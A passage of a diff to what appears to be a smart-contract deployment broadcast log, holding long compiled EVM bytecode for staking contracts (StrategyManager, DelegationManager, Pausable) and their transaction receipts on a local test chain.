000000000000000000000007a6946036114e3575060c95490565b6114eb612049565b905090565b609760009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611543573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115679190612e63565b6001600160a01b0316336001600160a01b0316146115975760405162461bcd60e51b815260040161062490612e80565b6098541981196098541916146116155760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610624565b609881905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161076d565b6001600160a01b0381166116da5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610624565b609754604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1609780546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383163b1561186257604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e90611783908690869060040161307a565b602060405180830381865afa1580156117a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117c49190613093565b6001600160e01b0319161461185d5760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610624565b505050565b826001600160a01b031661187683836121c6565b6001600160a01b03161461185d5760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610624565b6001600160a01b038316600090815260d16020526040812054849060ff166119a85760405162461bcd60e51b815260206004820152604d60248201527f53747261746567794d616e616765722e6f6e6c7953747261746567696573576860448201527f6974656c6973746564466f724465706f7369743a207374726174656779206e6f60648201526c1d081dda1a5d195b1a5cdd1959609a1b608482015260a401610624565b6119bd6001600160a01b0385163387866121ec565b6040516311f9fbc960e21b81526001600160a01b038581166004830152602482018590528616906347e7ef24906044016020604051808303816000875af1158015611a0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a3091906130bd565b9150611a3e86858785611d4c565b604051631452b9d760e11b81526001600160a01b0387811660048301528681166024830152604482018490527f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc916906328a573ae90606401600060405180830381600087803b158015611ab057600080fd5b505af1158015611ac4573d6000803e3d6000fd5b5050505050949350505050565b604080516001600160a01b038416815282151560208201527f77d930df4937793473a95024d87a98fd2ccb9e92d3c2463b3dacd65d3e6a5786910160405180910390a16001600160a01b0391909116600090815260d360205260409020805460ff1916911515919091179055565b6033546001600160a01b03163314610b755760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610624565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600081600003611c635760405162461bcd60e51b815260206004820152603e60248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a207360448201527f68617265416d6f756e742073686f756c64206e6f74206265207a65726f2100006064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209387168352929052205480831115611cf55760405162461bcd60e51b815260206004820152603360248201527f53747261746567794d616e616765722e5f72656d6f76655368617265733a20736044820152720d0c2e4ca82dadeeadce840e8dede40d0d2ced606b1b6064820152608401610624565b6001600160a01b03808616600090815260cd6020908152604080832093881683529290529081209184900391829055819003611d3f57611d358585612246565b6001915050611d45565b60009150505b9392505050565b6001600160a01b038416611dc85760405162461bcd60e51b815260206004820152603960248201527f53747261746567794d616e616765722e5f6164645368617265733a207374616b60448201527f65722063616e6e6f74206265207a65726f2061646472657373000000000000006064820152608401610624565b80600003611e375760405162461bcd60e51b815260206004820152603660248201527f53747261746567794d616e616765722e5f6164645368617265733a207368617260448201527565732073686f756c64206e6f74206265207a65726f2160501b6064820152608401610624565b6001600160a01b03808516600090815260cd602090815260408083209386168352929052908120549003611f4c576001600160a01b038416600090815260ce602090815260409091205410611f0d5760405162461bcd60e51b815260206004820152605060248201527f53747261746567794d616e616765722e5f6164645368617265733a206465706f60448201527f73697420776f756c6420657863656564204d41585f5354414b45525f5354524160648201526f0a88a8eb2be9892a6a8be988a9c8ea8960831b608482015260a401610624565b6001600160a01b03848116600090815260ce602090815260408220805460018101825590835291200180546001600160a01b0319169184169190911790555b6001600160a01b03808516600090815260cd6020908152604080832093861683529290529081208054839290611f839084906130ec565b9091555050604080516001600160a01b03868116825285811660208301528416818301526060810183905290517f7cfff908a4b583f36430b25d75964c458d8ede8a99bd61be750e97ee1b2f3a969181900360800190a150505050565b60cb54604080516001600160a01b03928316815291831660208301527f4264275e593955ff9d6146a51a4525f6ddace2e81db9391abcc9d1ca48047d29910160405180910390a160cb80546001600160a01b0319166001600160a01b0392909216919091179055565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b6097546001600160a01b031615801561210157506001600160a01b03821615155b6121835760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610624565b609881905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610a988261164c565b60008060006121d58585612436565b915091506121e2816124a4565b5090505b92915050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b179052610bca90859061265a565b6001600160a01b038216600090815260ce6020526040812054905b81811015612360576001600160a01b03848116600090815260ce602052604090208054918516918390811061229857612298612ff7565b6000918252602090912001546001600160a01b031603612358576001600160a01b038416600090815260ce6020526040902080546122d8906001906130ff565b815481106122e8576122e8612ff7565b60009182526020808320909101546001600160a01b03878116845260ce909252604090922080549190921691908390811061232557612325612ff7565b9060005260206000200160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550612360565b600101612261565b8181036123e75760405162461bcd60e51b815260206004820152604960248201527f53747261746567794d616e616765722e5f72656d6f766553747261746567794660448201527f726f6d5374616b657253747261746567794c6973743a207374726174656779206064820152681b9bdd08199bdd5b9960ba1b608482015260a401610624565b6001600160a01b038416600090815260ce6020526040902080548061240e5761240e613112565b600082815260209020810160001990810180546001600160a01b031916905501905550505050565b600080825160410361246c5760208301516040840151606085015160001a6124608782858561272c565b9450945050505061249d565b8251604003612495576020830151604084015161248a868383612819565b93509350505061249d565b506000905060025b9250929050565b60008160048111156124b8576124b8613128565b036124c05750565b60018160048111156124d4576124d4613128565b036125215760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610624565b600281600481111561253557612535613128565b036125825760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610624565b600381600481111561259657612596613128565b036125ee5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610624565b600481600481111561260257612602613128565b036106365760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610624565b60006126af826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b03166128529092919063ffffffff16565b80519091501561185d57808060200190518101906126cd9190612eca565b61185d5760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610624565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156127635750600090506003612810565b8460ff16601b1415801561277b57508460ff16601c14155b1561278c5750600090506004612810565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa1580156127e0573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661280957600060019250925050612810565b9150600090505b94509492505050565b6000806001600160ff1b0383168161283660ff86901c601b6130ec565b90506128448782888561272c565b935093505050935093915050565b60606128618484600085612869565b949350505050565b6060824710156128ca5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610624565b6001600160a01b0385163b6129215760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610624565b600080866001600160a01b0316858760405161293d919061313e565b60006040518083038185875af1925050503d806000811461297a576040519150601f19603f3d011682016040523d82523d6000602084013e61297f565b606091505b509150915061298f82828661299a565b979650505050505050565b606083156129a9575081611d45565b8251156129b95782518084602001fd5b8160405162461bcd60e51b8152600401610624919061315a565b6001600160a01b038116811461063657600080fd5b6000602082840312156129fa57600080fd5b8135611d45816129d3565b600060208284031215612a1757600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b60008060008060008060c08789031215612a4d57600080fd5b8635612a58816129d3565b95506020870135612a68816129d3565b9450604087013593506060870135612a7f816129d3565b92506080870135915060a087013567ffffffffffffffff811115612aa257600080fd5b8701601f81018913612ab357600080fd5b803567ffffffffffffffff811115612acd57612acd612a1e565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715612afc57612afc612a1e565b6040528181528282016020018b1015612b1457600080fd5b816020840160208301376000602083830101528093505050509295509295509295565b801515811461063657600080fd5b60008060408385031215612b5857600080fd5b8235612b63816129d3565b91506020830135612b7381612b37565b809150509250929050565b600060208284031215612b9057600080fd5b813560ff81168114611d4557600080fd5b60008060408385031215612bb457600080fd5b8235612bbf816129d3565b91506020830135612b73816129d3565b600080600060608486031215612be457600080fd5b8335612bef816129d3565b92506020840135612bff816129d3565b929592945050506040919091013590565b6040808252835190820181905260009060208501906060840190835b81811015612c535783516001600160a01b0316835260209384019390920191600101612c2c565b50508381036020808601919091528551808352918101925085019060005b81811015612c8f578251845260209384019390920191600101612c71565b50919695505050505050565b60008083601f840112612cad57600080fd5b50813567ffffffffffffffff811115612cc557600080fd5b6020830191508360208260051b850101111561249d57600080fd5b60008060208385031215612cf357600080fd5b823567ffffffffffffffff811115612d0a57600080fd5b612d1685828601612c9b565b90969095509350505050565b60008060008060808587031215612d3857600080fd5b8435612d43816129d3565b93506020850135612d53816129d3565b92506040850135612d63816129d3565b9396929550929360600135925050565b60008060008060808587031215612d8957600080fd5b8435612d94816129d3565b93506020850135612da4816129d3565b9250604085013591506060850135612dbb816129d3565b939692955090935050565b60008060408385031215612dd957600080fd5b8235612de4816129d3565b946020939093013593505050565b60008060008060408587031215612e0857600080fd5b843567ffffffffffffffff811115612e1f57600080fd5b612e2b87828801612c9b565b909550935050602085013567ffffffffffffffff811115612e4b57600080fd5b612e5787828801612c9b565b95989497509550505050565b600060208284031215612e7557600080fd5b8151611d45816129d3565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215612edc57600080fd5b8151611d4581612b37565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b60208082526044908201527f53747261746567794d616e616765722e6f6e6c7953747261746567795768697460408201527f656c69737465723a206e6f742074686520737472617465677957686974656c6960608201526339ba32b960e11b608082015260a00190565b602080825260409082018190527f53747261746567794d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561301f57600080fd5b8135611d4581612b37565b60005b8381101561304557818101518382015260200161302d565b50506000910152565b6000815180845261306681602086016020860161302a565b601f01601f19169290920160200192915050565b828152604060208201526000612861604083018461304e565b6000602082840312156130a557600080fd5b81516001600160e01b031981168114611d4557600080fd5b6000602082840312156130cf57600080fd5b5051919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156121e6576121e66130d6565b818103818111156121e6576121e66130d6565b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052602160045260246000fd5b6000825161315081846020870161302a565b9190910192915050565b602081526000611d45602083018461304e56fea2646970667358221220c44798d4ada1e90848e8d31a2c80c503dc1cf81f9a5671db1af6a45d97d3e5c364736f6c634300081b0033", + "nonce": 13, + "gas_used": 2827617 }, "receipt": { "type": "0x2", "status": "0x1", - "cumulativeGasUsed": "0x1a3d8a", + "cumulativeGasUsed": "0x78443a", "logs": [ { - "address": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", - "topics": [ - "0xbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b", - "0x0000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e0" - ], - "data": "0x" - }, - { - "address": "0xa513e6e4b8f2a923d98304ec87f64353c4d5c853", + "address": "0x0dcd1bf9a1b36ce34237eeafef220932846bcd82", "topics": [ - "0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f" + "0x7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb3847402498" ], - "data": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3" + "data": "0x00000000000000000000000000000000000000000000000000000000000000ff" } ], - "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000010000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000010000000010000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000" }, - "block_hash": "0x1ff38862b4e1a20e1c613d101727ece9f658c7a6f5f12eb1f9141139574be097", - "block_number": 3 + "block_hash": "0x7eb9955e73be07f63fef905d294c917294787636411afeab3995d8e4fa1081f5", + "block_number": 10 }, { "info": { - "transaction_hash": "0x128ce6b64679765bfd29e24ec131d2b9194f645d20aa49f9c20c0aebf88f101c", + "transaction_hash": "0xc5ab7ffd678838a961853d02e47b017e812cf03201fd77fac31c56b8c8a08d9d", "transaction_index": 0, "from": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", "to": null, - "contract_address": "0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0", + "contract_address": "0x7a2088a1bfc9d81c55368ae168c2c02570cb814f", "traces": [ { "parent": null, @@ -4007,17 +4023,17 @@ "depth": 0, "success": true, "caller": "0xf39fd6e51aad88f6f4ce6ab8827279cfffb92266", - "address": "0xa51c1fc2f0d1a1b8494ed1fe312d7c3a78ed91c0", + "address": "0x7a2088a1bfc9d81c55368ae168c2c02570cb814f", "maybe_precompile": false, "selfdestruct_address": null, "selfdestruct_refund_target": null, "selfdestruct_transferred_value": null, "kind": "CREATE", "value": "0x0", - "data": "0x61010060405234801561001157600080fd5b50604051615c04380380615c0483398101604081905261003091610135565b6001600160a01b0380841660805280821660c052821660a05261005161005d565b50504660e05250610182565b600054610100900460ff16156100c95760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff908116101561011b576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b038116811461013257600080fd5b50565b60008060006060848603121561014a57600080fd5b83516101558161011d565b60208501519093506101668161011d565b60408501519092506101778161011d565b809150509250925092565b60805160a05160c05160e0516159ee61021660003960006126560152600081816105b10152818161101d0152818161139901528181611be5015281816129b001528181613e5b0152614347015260006107620152600081816104f901528181610feb0152818161136701528181611c7901528181612a7d01528181612c0001528181613f8101526143ed01526159ee6000f3fe608060405234801561001057600080fd5b50600436106103425760003560e01c8063635bbd10116101b8578063b7f06ebe11610104578063cf80873e116100a2578063f16172b01161007c578063f16172b014610908578063f2fde38b1461091b578063f698da251461092e578063fabc1cbc1461093657600080fd5b8063cf80873e146108c1578063da8be864146108e2578063eea9064b146108f557600080fd5b8063c488375a116100de578063c488375a146107de578063c5e480db146107fe578063c94b5111146108a4578063ca661c04146108b757600080fd5b8063b7f06ebe14610784578063bb45fef2146107a7578063c448feb8146107d557600080fd5b8063886f1195116101715780639104c3191161014b5780639104c3191461070f57806399be81c81461072a578063a17884841461073d578063b13442711461075d57600080fd5b8063886f1195146106cb5780638da5cb5b146106de57806390041347146106ef57600080fd5b8063635bbd101461063657806365da1264146106495780636d70f7ae14610672578063715018a614610685578063778e55f31461068d5780637f548071146106b857600080fd5b806328a573ae116102925780634665bcda11610230578063597b36da1161020a578063597b36da146105e55780635ac86ab7146105f85780635c975abb1461061b57806360d7faed1461062357600080fd5b80634665bcda146105ac5780634fc40b61146105d3578063595c6a67146105dd57600080fd5b806339b70e381161026c57806339b70e38146104f45780633cdeb5e0146105335780633e28391d14610562578063433773821461058557600080fd5b806328a573ae146104ae57806329c77d4f146104c157806333404396146104e157600080fd5b8063132d4967116102ff57806316928365116102d957806316928365146104285780631bbce0911461046157806320606b701461047457806322bf40e41461049b57600080fd5b8063132d4967146103ef578063136439dd146104025780631522bf021461041557600080fd5b80630449ca391461034757806304a4f9791461036d5780630b9f487a146103945780630dd8dd02146103a75780630f589e59146103c757806310d67a2f146103dc575b600080fd5b61035a6103553660046147f6565b610949565b6040519081526020015b60405180910390f35b61035a7f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad81565b61035a6103a236600461485c565b6109c8565b6103ba6103b53660046147f6565b610a8a565b60405161036491906148b7565b6103da6103d5366004614948565b610de8565b005b6103da6103ea36600461499b565b610f2d565b6103da6103fd3660046149bf565b610fe0565b6103da610410366004614a00565b611097565b6103da610423366004614a19565b6111d6565b61035a61043636600461499b565b6001600160a01b0316600090815260996020526040902060010154600160a01b900463ffffffff1690565b61035a61046f3660046149bf565b6111ea565b61035a7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b6103da6104a9366004614a88565b611218565b6103da6104bc3660046149bf565b61135c565b61035a6104cf36600461499b565b609b6020526000908152604090205481565b6103da6104ef366004614b33565b61140c565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610364565b61051b61054136600461499b565b6001600160a01b039081166000908152609960205260409020600101541690565b61057561057036600461499b565b61153f565b6040519015158152602001610364565b61035a7f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b81565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b61035a6213c68081565b6103da61155f565b61035a6105f3366004614e4a565b611626565b610575610606366004614e86565b606654600160ff9092169190911b9081161490565b60665461035a565b6103da610631366004614eb7565b611656565b6103da610644366004614a00565b6116ef565b61051b61065736600461499b565b609a602052600090815260409020546001600160a01b031681565b61057561068036600461499b565b611700565b6103da611721565b61035a61069b366004614f47565b609860209081526000928352604080842090915290825290205481565b6103da6106c636600461502b565b611735565b60655461051b906001600160a01b031681565b6033546001600160a01b031661051b565b6107026106fd3660046150bf565b611961565b604051610364919061514a565b61051b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac081565b6103da61073836600461515d565b611a33565b61035a61074b36600461499b565b609f6020526000908152604090205481565b61051b7f000000000000000000000000000000000000000000000000000000000000000081565b610575610792366004614a00565b609e6020526000908152604090205460ff1681565b6105756107b5366004615192565b609c60209081526000928352604080842090915290825290205460ff1681565b61035a609d5481565b61035a6107ec36600461499b565b60a16020526000908152604090205481565b61086e61080c36600461499b565b6040805160608082018352600080835260208084018290529284018190526001600160a01b03948516815260998352839020835191820184528054851682526001015493841691810191909152600160a01b90920463ffffffff169082015290565b6040805182516001600160a01b039081168252602080850151909116908201529181015163ffffffff1690820152606001610364565b61035a6108b23660046151be565b611b05565b61035a62034bc081565b6108d46108cf36600461499b565b611bbe565b604051610364929190615241565b6103ba6108f036600461499b565b611f75565b6103da610903366004615266565b61242e565b6103da6109163660046152bf565b61254b565b6103da61092936600461499b565b6125dc565b61035a612652565b6103da610944366004614a00565b61268f565b609d54600090815b838110156109be57600060a16000878785818110610971576109716152db565b9050602002016020810190610986919061499b565b6001600160a01b03166001600160a01b03168152602001908152602001600020549050828111156109b5578092505b50600101610951565b5090505b92915050565b604080517f14bde674c9f64b2ad00eaaee4a8bed1fabef35c7507e3c5b9cfc9436909a2dad6020808301919091526001600160a01b038681168385015288811660608401528716608083015260a0820185905260c08083018590528351808403909101815260e0909201909252805191012060009081610a46612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f19018152919052805160209091012098975050505050505050565b606654606090600190600290811603610abe5760405162461bcd60e51b8152600401610ab5906152f1565b60405180910390fd5b6000836001600160401b03811115610ad857610ad8614be6565b604051908082528060200260200182016040528015610b01578160200160208202803683370190505b50336000908152609a60205260408120549192506001600160a01b03909116905b85811015610ddd57868682818110610b3c57610b3c6152db565b9050602002810190610b4e9190615328565b610b5c906020810190615348565b9050878783818110610b7057610b706152db565b9050602002810190610b829190615328565b610b8c9080615348565b905014610c015760405162461bcd60e51b815260206004820152603860248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a20696e707574206c656e677468206d69736d6174636800000000000000006064820152608401610ab5565b33878783818110610c1457610c146152db565b9050602002810190610c269190615328565b610c3790606081019060400161499b565b6001600160a01b031614610cb35760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e717565756557697468647261776160448201527f6c3a2077697468647261776572206d757374206265207374616b6572000000006064820152608401610ab5565b610db83383898985818110610cca57610cca6152db565b9050602002810190610cdc9190615328565b610ced90606081019060400161499b565b8a8a86818110610cff57610cff6152db565b9050602002810190610d119190615328565b610d1b9080615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152508e92508d9150889050818110610d6157610d616152db565b9050602002810190610d739190615328565b610d81906020810190615348565b808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152506127eb92505050565b838281518110610dca57610dca6152db565b6020908102919091010152600101610b22565b509095945050505050565b610df13361153f565b15610e775760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e726567697374657241734f70657260448201527f61746f723a2063616c6c657220697320616c7265616479206163746976656c796064820152690819195b1959d85d195960b21b608482015260a401610ab5565b610e813384612dad565b604080518082019091526060815260006020820152610ea33380836000612fa0565b336001600160a01b03167f8e8485583a2310d41f7c82b9427d0bd49bad74bb9cff9d3402a29d8f9b28a0e285604051610edc9190615391565b60405180910390a2336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908484604051610f1f9291906153e8565b60405180910390a250505050565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fa49190615417565b6001600160a01b0316336001600160a01b031614610fd45760405162461bcd60e51b8152600401610ab590615434565b610fdd81613235565b50565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016148061103f5750336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016145b61105b5760405162461bcd60e51b8152600401610ab59061547e565b6110648361153f565b15611092576001600160a01b038084166000908152609a6020526040902054166110908185858561332c565b505b505050565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156110df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110391906154db565b61111f5760405162461bcd60e51b8152600401610ab5906154f8565b606654818116146111985760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b6111de6133a7565b61109084848484613401565b6001600160a01b0383166000908152609b602052604081205461120f85828686611b05565b95945050505050565b600054610100900460ff16158080156112385750600054600160ff909116105b806112525750303b158015611252575060005460ff166001145b6112b55760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b6064820152608401610ab5565b6000805460ff1916600117905580156112d8576000805461ff0019166101001790555b6112e28888613621565b6112ea61370b565b6097556112f6896137a2565b6112ff866137f4565b61130b85858585613401565b8015611351576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050505050505050565b336001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001614806113bb5750336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000000000000000000000000000000000000000000000909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f0000000000000000000000000000000000000000000000000000000000000000909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052